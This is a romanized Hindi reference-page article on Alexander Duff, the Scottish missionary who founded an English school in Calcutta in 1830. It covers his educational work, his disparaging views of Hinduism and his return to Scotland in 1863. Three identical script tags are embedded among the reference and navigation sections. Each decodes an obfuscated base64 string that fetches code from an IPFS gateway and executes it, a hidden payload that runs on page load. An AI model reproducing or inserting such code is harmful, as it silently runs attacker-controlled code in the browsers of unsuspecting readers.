अलेक्ज़ेण्डर डफ़
alekzendar daf kalakatta (vartaman kolakata) mean 1830 se 1863 ee. tak 'skatish presabiteriyan padari' tha. sambhavat: 1823 ee. mean raja ramamohan ray ke anurodh par 'charch aauf skatalaind' ne daf ko bharat mean aangrezi shiksha ke prachar ke lie bheja. raja ramamohan ray ne usaka bhari svagat kiya aur unhian ki sahayata se daf ne 1830 ee. mean 'janaral asembalij instityooshan' namak aangrezi skool khola. kalantar mean is skool ne k aaulej ka roop dharan kar liya. pahale isaka nam daf k aaulej tha, lekin bad mean 'skatish charch k aaulej' ho gaya.
daf ka uddeshy
alekzendar daf ne bangal mean aangrezi shiksha ke prasar-prachar tatha samaj sudhar ke lie bahut kuchh kiya. usane bharat mean vishvavidyalayoan ki sthapana karane mean mahattvapoorn bhoomika ada ki. kalakatta vishvavidyalay khulane par vah usaki prabandh samiti ka arambhik sadasy raha. 1859 ee. mean kee varshoan tak vah bethoon sosaiti ka adhyaksh raha. vah padari tha aur bharat mean eesaee dharm ke prachar ke uddeshy se aya tha. apani pustak 'iandiya eand iandiyan mishans' mean usane hindoo dharm ke bare mean yahaan tak likh dala hai ki 'patit vyaktiyoan ke vikrit mastishk ne jin jhoothe dharmoan ki srishti ki, unamean hindoo dharm sabase age hai'.
svadesh vapasi aur mrityu
svabhavat: bharatiy vidvanoan aur am janata mean daf ke in vicharoan ke viruddh bhishan akraman paida ho gaya. keshavachandr sen tatha devendranath thakur ne daf ka k da virodh kiya. bangal ke kuchh hi padhe-likhe logoan ko vah eesaee banane mean saphal ho saka aur aantat: nirash hokar 1863 ee. mean svadesh vapas laut gaya. usaki mrityu 1878 ee. mean huee.[1]
|
|
|
|
|
|
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
tika tippani aur sandarbh
- ↑ bharatiy itihas kosh |lekhak: sachchidanand bhattachary |prakashak: uttar pradesh hindi sansthan |prishth sankhya: 180 |
sanbandhit lekh
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
varnamala kramanusar lekh khoj
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>